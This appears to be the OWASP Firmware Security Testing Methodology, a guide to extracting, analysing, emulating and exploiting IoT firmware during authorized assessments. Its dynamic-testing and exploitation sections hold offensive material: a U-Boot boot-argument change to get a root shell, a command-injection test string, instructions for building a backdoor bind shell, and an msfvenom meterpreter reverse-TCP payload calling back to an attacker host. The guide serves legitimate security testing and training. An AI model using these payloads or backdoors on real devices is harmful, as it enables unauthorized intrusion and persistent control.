The following sections will further detail each stage with supporting examples where applicable. Consider visiting the OWASP Internet of Things Project page and GitHub repository for the latest methodology updates and forthcoming project releases.
For a complementary approach covering the full IoT device attack surface beyond firmware (hardware interfaces, wireless protocols, network services, user interfaces), refer to the OWASP IoT Security Testing Guide (ISTG), which provides a component-based testing framework with a comprehensive test case catalog. ISTG can be used alongside FSTM's firmware-specific methodology for complete IoT device security assessments.
A preconfigured Ubuntu virtual machine (EmbedOS) with firmware testing tools used throughout this document can be downloaded via the following link. Details regarding EmbedOS' tools can be found on GitHub within the following repository https://github.com/scriptingxss/EmbedOS.
During this stage, collect as much information about the target as possible to understand its overall composition underlying technology. Attempt to gather the following:
The above listed information should be gathered prior to security testing fieldwork via a questionnaire or intake form. Ensure to leverage internal product line development teams to acquire accurate and up to date data. Understand applied security controls as well as roadmap items, known security issues, and most concerning risks. If needed, schedule follow up deep dives on particular features in question. Assessments are most successful within a collaborative environment.
Where possible, acquire data using open source intelligence (OSINT) tools and techniques. If open source software is used, download the repository and perform both manual as well as automated static analysis against the code base. Sometimes, open source software projects use free static analysis scanning services available for open-source projects. For example, the screenshots below show static analysis results from Das U-Boot's scans.

Figure : U-Boot Static Analysis

Figure : U-Boot Static Analysis Results
With the information at hand, a light threat model exercise should be performed mapping attack surfaces and impact areas that show the most value in the event of compromise.
To begin reviewing firmware contents, the firmware image file must be acquired. Attempt to obtain firmware contents using one or more of the following methods:
*Note: Ensure to follow local laws and regulations when downloading data from exposed cloud provider storage services.
Each of the listed methods vary in difficulty and should not be considered an exhaustive list. Select the appropriate method according to the project objectives and rules of engagement. If possible, request both a debug build and release build of firmware to maximize testing coverage use cases in the event debug code or functionality is compiled within a release.
Once the firmware image is obtained, explore aspects of the file to identify its characteristics. Use the following steps to analyze firmware file types, potential root filesystem metadata, and gain additional understanding of the platform it's compiled for.
Leverage utilities such as:
file <bin>
strings
strings -n5 <bin>
strings -n16 <bin>#longer than 16
strings -tx <bin> #print offsets in hex
binwalk <bin>
hexdump -C -n 512 <bin> > hexdump.out
hexdump -C <bin> | head # might find signatures in header
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
If none of the above methods provide any useful data, the following is possible:
If the binary may be encrypted, check the entropy using binwalk with the following command:
$ binwalk -E <bin>
Low entropy = Not likely to be encrypted
High entropy = Its likely encrypted (or compressed in some way).
Note: As of 2024, Binwalk v3 has been completely rewritten in Rust, providing significantly faster analysis speeds and reduced false positives compared to earlier Python-based versions. The Rust implementation offers improved memory safety, better performance on large firmware images, and enhanced support for modern compression formats and filesystems (NTFS, APFS). The command syntax remains compatible with previous versions, making it a drop-in replacement for existing workflows. Installation is available via package managers (Kali Linux, NixOS) or the Rust package manager (cargo).
Alternate tools are also available using Binvis online and the standalone application.
This stage involves looking inside firmware and parsing relative filesystem data to start identifying as many potential security issues as possible. Use the following steps to extract firmware contents for review of uncompiled code and device configurations used in following stages. Both automated and manual extractions methods are shown below.
$ binwalk -ev <bin>
Files will be extracts to " _binaryname/filesystemtype/"
Filesystem types: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs
Binwalk v3 Performance Note: The Rust-based Binwalk v3 offers substantial speed improvements during recursive extraction (
-e) operations, particularly on large firmware images (>100MB). The verbose flag (-v) provides detailed extraction progress, which is especially useful for debugging extraction failures with complex or obfuscated firmware.
2a. Sometimes, binwalk will not have the magic byte of the filesystem in its signatures. In these cases, use binwalk to find the offset of the filesystem and carve the compressed filesystem from the binary and manually extract the filesystem according to its type using the steps below.
$ binwalk DIR850L_REVB.bin
DECIMAL HEXADECIMAL DESCRIPTION
----------------------------------------------------------------------------- ---
0 0x0 DLOB firmware header, boot partition: """"dev=/dev/mtdblock/1""""
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
2b. Run the following dd command carving the Squashfs filesystem.
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
8257536+0 records in
8257536+0 records out
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
Alternatively, the following command could also be run.
$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs
2c. For squashfs (used in the example above)
$ unsquashfs dir.squashfs
Files will be in "squashfs-root" directory afterwards.
2d. CPIO archive files
$ cpio -ivd --no-absolute-filenames -F <bin>
2f. For jffs2 filesystems
$ jefferson rootfsfile.jffs2
2d. For ubifs filesystems with NAND flash
$ ubireader_extract_images -u UBI -s <start_offset> <bin>
$ ubidump.py <bin>
During this stage, clues are gathered for dynamic and runtime analysis stages. Investigate if the target firmware contains the following (non-exhaustive):
Statically analyze filesystem contents and uncompiled code manually or leveraging automation tools such as firmwalker that parse the following:
The following subsections introduce open source automated firmware analysis tools.
Execute firmwalker within it’s directory in ~/tools/firmwalker and point firmwalker to the absolute path of the extracted filesystem’s root directory. Firmwalker uses information in the "/data/” directory for parsing rules. A custom fork modified by Aaron Guzman with additional checks can be found on GitHub at https://github.com/scriptingxss/firmwalker. The following examples show the usage of firmwalker used on OWASP’s IoTGoat. Additional vulnerable firmware projects are listed in the Vulnerable firmware section at the end of the document.
$ ./firmwalker.sh /home/embedos/firmware/ _IoTGoat-rpi-2.img.extracted/squashfs-root/
See the firmwalker output below.

Two files will be generated, firmwalker.txt and firmwalkerappsec.txt. These output files should be manually reviewed.
When firmware source code or decompiled binaries are available, perform static application security testing (SAST) to identify security vulnerabilities in C/C++ code before runtime analysis. Focus SAST efforts on two critical vulnerability classes that remain prevalent in embedded firmware:
Critical Finding: As of 2025, these vulnerability classes continue to plague devices from consumer IoT to enterprise infrastructure. Recent examples include CVE-2024-41592 (DrayTek routers - buffer overflow in GetCGI() with CVSS 10.0), CVE-2024-21833 (TP-Link routers - OS command injection via unsanitized country parameter), CVE-2024-12856 (Four-Faith industrial routers - command injection in adj_time_year parameter), and CVE-2025-20334 (Cisco IOS XE enterprise switches/routers - HTTP API command injection, CVSS 8.8). The impact spans from home networks to critical infrastructure: CVE-2023-20198 (Cisco IOS XE Web UI, CVSS 10.0) resulted in 40,000-50,000 compromised enterprise network devices worldwide in October 2023. The root cause across all examples: firmware written in non-memory-safe C/C++ without modern language protections built in.
Locating High-Risk Code:
Prioritize SAST analysis on the following code paths most likely to expose remote code execution (RCE) vulnerabilities:
/usr/sbin/httpd, /www/cgi-bin/, /htdocs/, or /web/Pro Tip: Use
grep -r "system\|popen\|exec" <extracted_firmware>to quickly identify code that shells out to the operating system. Then trace backwards to find where user-controlled input enters these dangerous functions. Web server code is particularly valuable for discovering remotely exploitable command injection vulnerabilities that can lead to full device compromise.
The following open-source tools are specifically valuable for embedded firmware analysis:
Lightweight Scanners:
Cppcheck - Static analyzer designed for embedded C/C++ projects
apt install cppcheck or download from cppcheck.sourceforge.iocppcheck --enable=all --addon=cert --addon=misra <source_dir>Flawfinder - Security-focused vulnerability scanner for C/C++
pip install flawfinderflawfinder --html --context --minlevel=4 <source_dir> > report.htmlCompiler-Integrated Tools:
apt install clang-tidyclang-tidy <source_files> -- -I<include_paths>Advanced Semantic Analysis:
CodeQL - Query-based code analysis engine (GitHub)
Semgrep - Fast pattern-based security scanner
pip install semgrepsemgrep --config=auto <source_dir>Analysis Workflow for Maximum Impact:
Use multiple SAST tools in combination, as each tool has unique analysis capabilities and detection patterns. For embedded firmware targeting memory corruption and command injection vulnerabilities, follow this workflow:
Target Code Paths in Priority Order:
/www/cgi-bin/* and /htdocs/* - Web interfaces handling HTTP requestssystem(), popen(), exec*() - Command execution codestrcpy(), sprintf(), gets() - Buffer overflow candidatesFor firmware with available source code, integrate these tools into your analysis workflow before proceeding to dynamic testing stages. SAST findings of command injection in web server code provide high-value targets for Stage 7 dynamic analysis and exploitation attempts. These tools complement binary analysis frameworks like FACT and EMBA by providing source-level vulnerability detection that can guide targeted reverse engineering efforts.
Fortunately, multiple open source automated firmware analysis tools are available. FACT features include the following:
Identification of software components such as operating system, CPU architecture, and third-party components along with their associated version information
Extraction of firmware filesystem (s ) from images
Detection of certificates and private keys
Detection of weak implementations mapping to Common Weakness Enumeration (CWE)
Feed & signature-based detection of vulnerabilities
Basic static behavioral analysis
Comparison (diff) of firmware versions and files
User mode emulation of filesystem binaries using QEMU
Detection of binary mitigations such as NX, DEP, ASLR, stack canaries, RELRO, and FORTIFY_SOURCE
REST API
and more...
Below are instructions for using firmware analysis comparison toolkit within the companion preconfigured virtual machine.
Tip: It is recommended to run FACT with a computer that has 16 Cores 64GB RAM although the tool can run with a minimum of 4 cores and 8GB of RAM at a much slower pace. Scan output results vary on the allocated resources given to the virtual machine. The more resources, the faster FACT will complete scan submissions.
$ cd ~/tools/FACT_core/
$ sudo ./start_all_installed_fact_components
Navigate to http://127.0.0.1:5000 in browser

Figure : FACT Dashboard
Upload firmware components to FACT for analysis. In the screenshot below, the compressed complete firmware with its root filesystem will be uploaded and analyzed.

Figure : FACT Upload
Depending on the hardware resources given to FACT, the analysis results will appear with its scan results upon a given time. This process can take hours if minimal resources are allocated.

Figure : FACT IoTGoat

Figure : FACT IoTGoat Exploit Mitigation Results
Disassemble suspect target binaries with data gathered from FACT using free and open-source tools such as Ghidra, Radare2/Rizin, Cutter, or Capstone. Analyze binaries for potential remote code execution system calls, strings, function lists, memory corruption vulnerabilities, and identify Xrefs to system() or alike function calls. Note potential vulnerabilities to use for upcoming steps.
The following screenshot shows the “shellback” binary disassembled using Ghidra.

Figure : Shellback Ghidra Analysis
Common binary analysis consist of reviewing the following:
$ readelf -aW bin/*| grep stack_chk_fail$ mips-buildroot-linux-uclibc-objdump -d bin/binary | grep stack_chk_fail$ readelf -h <bin> | grep -q 'Type:[[:space:]]*EXEC'$ readelf -h <bin> | grep 'Type:[[:space:]]*DYN'$ readelf -d <bin> | grep -q 'DEBUG'$ readelf --syms <bin>$ nm <bin>-el specifies little-endian characters 16-bits wide (e.g. UTF-16).-eb for big endian-t flag will return the offset of the string within the file.-tx will return it in hex format, T-to in octal and -td in decimal.strings -n5 <bin>strings -el <bin>strings -n16 <bin>strings -tx <bin>$ readelf -lW bin/<bin>| grep STACKGNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
The 'E' indicates that the stack is executable.
$ execstack bin/*
X bin/ash
X bin/busybox
$ readelf -d binary | grep BIND_NOW$ readelf -d binary | grep GNU_RELROA script that automates checking many of the above binary properties is checksec.sh. Below, are two examples of using the script.
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/bin/busybox
> ./checksec --file=/home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 0 /home/embedos/firmware/_IoTGoat-x86-generic-combined-squashfs.img.extracted/squashfs-root/usr/bin/shellback

Figure : Checksec.sh
For Microsoft binaries (EXE & DLL), use PESecurity to check for ASLR, DEP, SafeSEH, StrongNaming, Authenticode, Control Flow Guard, and HighEntropyVA.
EMBA is designed as a core firmware analysis tool for penetration testers. It supports the full security analysis process, starting with the firmware extraction, static analysis and dynamic analysis via emulation to generating a web-based report for further analysis. Launched with a single command, EMBA automatically discovers potential weak spots and vulnerabilities in the firmware under test, such as insecure binaries, old and outdated software components, potentially vulnerable scripts or hard-coded passwords.
EMBA features include the following:
EMBA is using multiple other tools in the background. The needed system resources depend a lot on the firmware you are going to analyse. Usually EMBA runs quite smooth in the following environment:
To install the necessary environment, you have to run the install script with root permissions:
sudo ./installer.sh -d
You should use the -d switch with the installer to run a typical installation. This will install needed dependencies (e.g. cve-search) on the host and will download the EMBA docker image. We recommend using this for the initial installation.
After the installation process is finished, it is possible to use EMBA for firmware security analysis from the command line. Before starting EMBA please download a testing firmware like the OWASP IoTGoat firmware. The following command shows a typical EMBA command:
sudo ./emba.sh -f ~/IoTGoat-x86.img.gz -l ~/emba_logs_iotgoat -p ./scan-profiles/default-scan.emba
The shown command configures the following basic options:
Further options are available and can be viewed via ./emba.sh -h
The first step of every firmware test is a health check of the current installation:

After the health check was successful the analysis process starts with identification and extraction of the configured firmware:

While testing the firmware, all the results and the current status is shown live in the terminal. As a typical scan will run in threaded mode (-t parameter), this output will be garbled and not very easy to read. For further analysis it is recommend to use the generated text based log files in the log directory and the web report (-W parameter).
After finishing the firmware scan, EMBA shows a summary of the results in the terminal:

Further results are available in the log directory and can be analyzed on the command line or via the web-browser:
firefox ~/emba_logs_iotgoat/html-report/index.html

The generated HTML report is self-contained and can be shared easily. Furthermore, this report is fully interactive and it is possible to reach all the testing details through the aggregated summary dashboard.
Further details are available on the official EMBA git repository.
EMBArk is the web based enterprise interface for the firmware security scanner EMBA. It is developed to provide the firmware security analyzer EMBA as a containerized service and to ease accessibility to the firmware scanning backend EMBA regardless of system and operating system.
Furthermore EMBArk improves the data provision by aggregating the various scanning results in an aggregated management dashboard.

On the details page of all scans you can access the detailed report of a firmware scan, start further tests and download the scan logs:

More details with the main results of each firmware test are available in the detailed report:

More information is available on the official EMBArk git repository.
Note: EMBArk is in a very early development stage.
As firmware security assessments increasingly require regulatory compliance and supply chain transparency, generating a comprehensive Software Bill of Materials has become essential. As of 2025, SBOMs are mandatory for organizations selling software to the U.S. Government (Executive Order 14028), and over 60% of enterprises require SBOMs as part of their cybersecurity practices. The OWASP IoT Security Verification Standard (ISVS) requirement V1.1.1 mandates that devices maintain accurate SBOMs, making firmware-level SBOM generation critical for compliance verification.
Traditional application security tooling creates incomplete SBOMs for IoT and embedded devices due to the following limitations:
A comprehensive firmware SBOM enables:
EMBA's SBOM generation provides comprehensive component tracking specifically designed for firmware analysis. The following example demonstrates SBOM generation during a standard EMBA firmware scan:
sudo ./emba.sh -f firmware.bin -l ~/emba_logs -p ./scan-profiles/default-scan.emba
EMBA automatically generates SBOM data as part of its analysis process, including:
The SBOM output is included in EMBA's HTML report and can be exported in standard formats (SPDX, CycloneDX) for integration with vulnerability management platforms.
When generating and maintaining SBOMs for firmware security assessments:
Ensure firmware SBOMs include the following minimum elements as defined by CISA:
Reference: https://www.cisa.gov/sbom
While EMBA provides comprehensive SBOM generation for firmware, other complementary tools include:
For firmware security assessments, EMBA's integrated approach is recommended as it combines SBOM generation with vulnerability analysis, binary security testing, and emulation capabilities in a single workflow.
Using details and clues identified in previous steps, firmware as well as it’s encapsulated binaries must be emulated to verify potential vulnerabilities. To accomplish emulating firmware, there are a few approaches listed below.
/usr/bin/shellbackTo begin partially emulating binaries, the CPU architecture and endianness must be known for selecting the appropriate QEMU emulation binary in the following steps.
$ binwalk -Y <bin>
$ readelf -h <bin>
el - little endian
eb - big endian
Binwalk can be used identify endianness for packaged firmware binaries (not from binaries within extracted firmware) using the command below.
$ binwalk -Y UPG_ipc8120p-w7-M20-hi3516c-20160328_165229.ov
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
3480 0xD98 ARM executable code, 32-bit, little endian, at least 1154 valid instructions
After the CPU architecture and endianness have been identified, locate the appropriate QEMU binary to perform partial emulation (Not for emulating the full firmware, but binaries with the extracted firmware.)
Typically, in:
/usr/local/qemu-arch or /usr/bin/qemu-arch
Copy the applicable QEMU binary into the extracted root filesystem. The second command shows copying the static arm QEMU binary to the extracted root filesystem within a ZSH shell showing the absolute path.
> cp /usr/local/qemu-arch /extractedrootFS/
/home/embedos/firmware/_DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted.extracted/squashfs-root
> cp /usr/bin/qemu-arm-static .
Execute the ARM binary (or appropriate arch) to emulate using QEMU and chroot with the following command:
$ sudo chroot . ./qemu-arch <binarytoemulate>
The following example shows Busybox emulated within a typical x64 architecture an attacker machine is likely using.
> sudo chroot . ./qemu-arm-static bin/busybox ls
[sudo] password for embedos:
bin etc overlay rom sys var
dev lib proc root tmp www
dnsmasq_setup.sh mnt qemu-arm-static sbin usr
Below, is an example of emulating a service that listens on port 5515.
> sudo chroot . ./qemu-arm-static usr/bin/shellback
Also, the same service can be emulated with qiling framework.
> ./qltool run --console False -f ~/_IoTGoat-x86.img.extracted/squashfs-root/usr/bin/shellback --rootfs ~/_IoTGoat-x86.img.extracted/squashfs-root
In another terminal, check if the service is listening locally and try to connect to it with netcat.
> sudo lsof -i :5515
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
qemu-arm- 13264 root 3u IPv4 662221 0t0 TCP *:5515 (LISTEN)
> nc -nv 127.0.0.1 5515
Connection to 127.0.0.1 5515 port [tcp/*] succeeded!
[***]Successfully Connected to IoTGoat's Backdoor[***]
Sometimes, requests are dispatched to the CGI binary by the HTTP server. By simply emulating the CGI binary, it's possible to analyze the process procedure or verify the vulnerability without setting up a HTTP server. The following example issues a GET request to a MIPS CGI binary.
~/DIR850L/squashfs-root/htdocs/web$ ls -l captcha.cgi
lrwxrwxrwx 1 root root 14 Oct 17 2017 captcha.cgi -> /htdocs/cgibin
# fix the broken symbolic link
~/DIR850L/squashfs-root/htdocs/web$ rm captcha.cgi && ln -s ../cgibin captcha.cgi
~/DIR850L/squashfs-root$ sudo chroot . ./qemu-mips-static -E REQUEST_METHOD="GET" -E REQUEST_URI="/captcha.cgi" -E REMOTE_ADDR="192.168.1.1" -E CONTENT_TYPE="text/html" /htdocs/web/captcha.cgi
HTTP/1.1 200 OK
Content-Type: text/xml
<?xml version="1.0" encoding="utf-8"?><captcha>
<result>FAIL</result><message>NO SESSION</message>
</captcha>
With the target binary emulated, interact with its interpreter or listening service. Fuzz its application and network interfaces as noted in the next phase.
When possible, use automation tools such as firmadyne, firmware analysis toolkit, or ARM-X Firmware Emulation Framework to perform full emulation of firmware. These tools are essentially wrappers for QEMU and other environmental functions such as nvram.
Using firmware analysis toolkit, simply execute the following command:
sudo python3 ./fat.py IoTGoat-rpi-2.img --qemu 2.5.0
__ _
/ _| | |
| |_ __ _ | |_
| _| / _` | | __|
| | | (_| | | |_
|_| \__,_| \__|
Welcome to the Firmware Analysis Toolkit - v0.3
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
By Attify - https://attify.com | @attifyme
[+] Firmware: IoTGoat-rpi-2.img
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: armel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('eth0', '192.168.1.1')]
[...]
Adding route to 192.168.1.1...
Starting firmware emulation... use Ctrl-a + x to exit
[ 0.000000] Booting Linux on physical CPU 0x0
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
BusyBox v1.28.4 () built-in shell (ash)
.--,\\\__
██████╗ ██╗ ██╗ █████╗ ███████╗██████╗ `-. a`-.__
██╔═══██╗██║ ██║██╔══██╗██╔════╝██╔══██╗ | ')
██║ ██║██║ █╗ ██║███████║███████╗██████╔╝ / \ _.-'-,`;
██║ ██║██║███╗██║██╔══██║╚════██║██╔═══╝ / | { /
╚██████╔╝╚███╔███╔╝██║ ██║███████║██║ / | { /
╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝╚══════╝╚═╝ ..-"``~"-' ; )
╦┌─┐╔╦╗╔═╗┌─┐┌─┐┌┬┐ ;' `
║│ │ ║ ║ ╦│ │├─┤ │ ;' `
╩└─┘ ╩ ╚═╝└─┘┴ ┴ ┴ ;' `
------------------------------------------------------------ ;'
GitHub: https://github.com/OWASP/IoTGoat
------------------------------------------------------------
root@IoTGoat:/#
Note: Modifications to these tools may be required if the firmware contains an uncommon compression, filesystem, or unsupported architecture.
In this stage, perform dynamic testing while a device is running in its normal or emulated environment. Objectives in this stage may vary depending on the project and level of access given. Typically, this involves tampering of bootloader configurations, web and API testing, fuzzing (network and application services), as well as active scanning using various toolsets to acquire elevated access (root) and/or code execution.
Tools that may be helpful are (non-exhaustive):
Reference industry standard web methodologies such as OWASP’s Testing Guide and Application Security Verification Standard (ASVS).
Specific areas to review within an embedded device’s web application are the following:
Depending on the product and its application interfaces, test cases will differ.
When modifying device start up and bootloaders such as U-boot, attempt the following:
init=/bin/sh' at the end of boot arguments
#printenv#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 int=/bin/sh#saveenv#boot#setenv ipaddr 192.168.2.2 #local IP of the device#setenv serverip 192.168.2.1 #tftp server IP#saveenv#reset#ping 192.168.2.1 #check if network access is available#tftp ${loadaddr} uImage-3.6.35 #loadaddr takes two arguments: the address to load the file into and the filename of the image on the TFTP serverubootwrite.py to write the uboot-image and push a modified firmware to gain rootFILENAME’ parameter with command injection commands such as ‘a";/bin/sh;#’ to test input validation for device startup procedures.*Hardware security testing
Attempt to upload custom firmware and/or compiled binaries for integrity or signature verification flaws. For example, compile a backdoor bind shell that starts upon boot using the following steps.
If a root shell has already been obtained from dynamic analysis, bootloader manipulation, or hardware security testing means, attempt to execute precompiled malicious binaries such as implants or reverse shells. Consider using automated payload/implant tools used for command and control (C&C) frameworks. For example, Metasploit framework and ‘msfvenom’ can be leveraged using the following steps.
msfvenom to specify the appropriate target payload (-p), attacker host IP (LHOST=), listening port number (LPORT=) filetype (-f), architecture (--arch), platform (--platform linux or windows), and the output file (-o). For example, msfvenom -p linux/armle/meterpreter_reverse_tcp LHOST=192.168.1.245 LPORT=4445 -f elf -o meterpreter_reverse_tcp --arch armle --platform linuxset payload linux/armle/meterpreter_reverse_tcpset LHOST 192.168.1.245 #attacker host IPset LPORT 445 #can be any unused portset ExitOnSession falseexploit -j -zIf possible, identify a vulnerability within startup scripts to obtain persistent access to a device across reboots. Such vulnerabilities arise when startup scripts reference, symbolically link, or depend on code located in untrusted mounted locations such as SD cards, and flash volumes used for storage data outside of root filesystems.
Runtime analysis involves attaching to a running process or binary while a device is running in its normal or emulated environment. Basic runtime analysis steps are provided below:
sudo chroot . ./qemu-arch -L <optionalLibPath> -g <gdb_port> <binary>Tools that may be helpful are (non-exhaustive):
When selecting reverse engineering and binary analysis tools, prioritize free and open-source options to ensure accessibility and reproducibility:
Disassemblers and Decompilers:
Dynamic Analysis and Debugging:
Binary Analysis Frameworks:
These tools provide professional-grade reverse engineering capabilities without licensing costs, making firmware security analysis accessible to researchers, students, and organizations worldwide.
After identifying a vulnerability within a binary from previous steps, a proper proof-of-concept (PoC) is required to demonstrate the real-world impact and risk. Developing exploit code requires programming experience in lower level languages (e.g. ASM, C/C++, shellcode, etc.) as well as background within the particular target architecture (e.g. MIPS, ARM, x86 etc.). PoC code involves obtaining arbitrary execution on a device or application by controlling an instruction in memory.
It is not common for binary runtime protections (e.g. NX, DEP, ASLR, etc.) to be in place within embedded systems however when this happens, additional techniques may be required such as return oriented programming (ROP). ROP allows an attacker to implement arbitrary malicious functionality by chaining existing code in the target process/binary's code known as gadgets. Steps will need to be taken to exploit an identified vulnerability such as a buffer overflow by forming a ROP chain. A tool that can be useful for situations like these is Capstone's gadget finder or ROPGadget- https://github.com/JonathanSalwan/ROPgadget.
Utilize the following references for further guidance:
The OWASP Firmware Security Testing Methodology (FSTM) focuses specifically on deep firmware analysis, extraction, emulation, and exploitation. For comprehensive IoT device security assessments, integrate FSTM with complementary OWASP frameworks: the OWASP IoT Security Testing Guide (ISTG) for component-based testing, and the OWASP IoT Security Verification Standard (ISVS) for requirements-driven assessments.
ISTG Components Complementing FSTM:
Recommended Integration Workflow:
Example Integration Points:
ISTG Firmware Test Case Categories:
The ISTG firmware component (ISTG-FW) includes test cases that align with FSTM stages:
When to Use Each Methodology:
The OWASP IoT Security Verification Standard (ISVS) defines WHAT security controls must be implemented, while FSTM defines HOW to test firmware components. ISVS provides a requirements framework that can drive your firmware testing scope and success criteria.
ISVS Role in Firmware Testing:
Workflow: Requirements → Testing → Verification
1. Select ISVS Requirements → 2. Execute FSTM Testing → 3. Verify Against ISVS
(WHAT) (HOW) (SUCCESS)
Mapping ISVS V3 Requirements to FSTM Stages:
| ISVS Requirement | FSTM Stage | Testing Focus |
|---|---|---|
| V3.1 (SBOM) | Stage 5 | Verify SBOM generation from extracted filesystem (see EMBA SBOM analysis) |
| V3.2 (Third-party Components) | Stage 5 | Identify outdated libraries, vulnerable dependencies in extracted firmware |
| V3.3 (Secure Communication) | Stage 7 | Dynamic analysis of encrypted channels, certificate validation |
| V3.4 (Firmware Update) | Stage 7 | Test OTA update mechanism security, signature verification |
| V4.1 (Memory Protection) | Stage 8 | Runtime analysis of ASLR, DEP, stack canaries in binary execution |
| V4.2 (Cryptography) | Stage 5 & 8 | Static analysis of crypto implementations, runtime key storage validation |
ISVS Security Levels and FSTM Testing Depth:
Example: Requirements-Driven Firmware Assessment
Client Request: "Assess IoT device firmware to ISVS Level 2 compliance"
Step 1: Review ISVS V3 and V4 requirements for L2 security level
Step 2: Execute FSTM Stages 1-7 to collect evidence against ISVS requirements
Step 3: Document findings using ISVS requirement IDs (e.g., "V3.4 FAIL: No signature verification on firmware updates")
Step 4: Provide remediation mapped to ISVS controls
Key ISVS Requirements for Firmware Testing:
Resources:
A combination of tools will be used throughout assessing firmware. Listed below, are commonly used tools.
C/C++ Static Analysis Security Testing (SAST) Tools:
To practice discovering vulnerabilities in firmware, use the following vulnerable firmware projects as a starting point.
Feedback and contributing
If you would like to contribute or provide feedback to improve this methodology, contact Aaron.guzman@owasp.org (@scriptingxss). Make sure to open up an issue or a pull request, and we'll make sure to tend to it!
Special thanks to our sponsors Cisco Meraki, OWASP Inland Empire, and OWASP Los Angeles as well as José Alejandro Rivas Vidal for his careful review.
The full list of contributors can be found via https://github.com/scriptingxss/owasp-fstm/graphs/contributors.
License
Creative Commons Attribution Share Alike 4.0 International
